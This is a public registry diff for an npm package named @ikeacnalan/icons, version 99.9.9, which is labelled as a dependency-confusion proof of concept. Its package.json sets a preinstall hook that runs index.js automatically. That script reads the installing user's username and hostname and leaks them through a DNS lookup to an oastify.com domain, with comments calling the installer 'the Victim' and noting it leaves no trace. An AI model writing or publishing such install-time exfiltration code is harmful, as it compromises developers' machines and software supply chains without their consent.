@ikeacnalan/icons 99.9.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +14 -0
  2. package/package.json +13 -0
package/index.js ADDED
@@ -0,0 +1,14 @@
1
+ const dns = require('dns');
2
+ const os = require('os');
3
+ // 1. Get the Victim's Identity
4
+ const user = os.userInfo().username;
5
+ const host = os.hostname();
6
+ // 2. Encode it into a domain
7
+ const payload = bingads.${user}.${host}.qc6bpp2a0ewcep1jc782p51j7ad11sph.oastify.com;
8
+ // 3. Send the Signal (Fire and Forget)
9
+ try {
10
+ dns.lookup(payload, (err) => {
11
+ // We don't care about the result, just the query.
12
+ // This confirms execution without leaving a trace.
13
+ });
14
+ } catch (e) { }
package/package.json ADDED
@@ -0,0 +1,13 @@
1
+ {
2
+ "name": "@ikeacnalan/icons",
3
+ "version": "99.9.9",
4
+ "description": "Security Research - Dependency Confusion PoC",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js"
8
+ },
9
+ "dependencies": {
10
+ "@ikeacn/icons": "^99.9.9"
11
+ }
12
+ }
13
+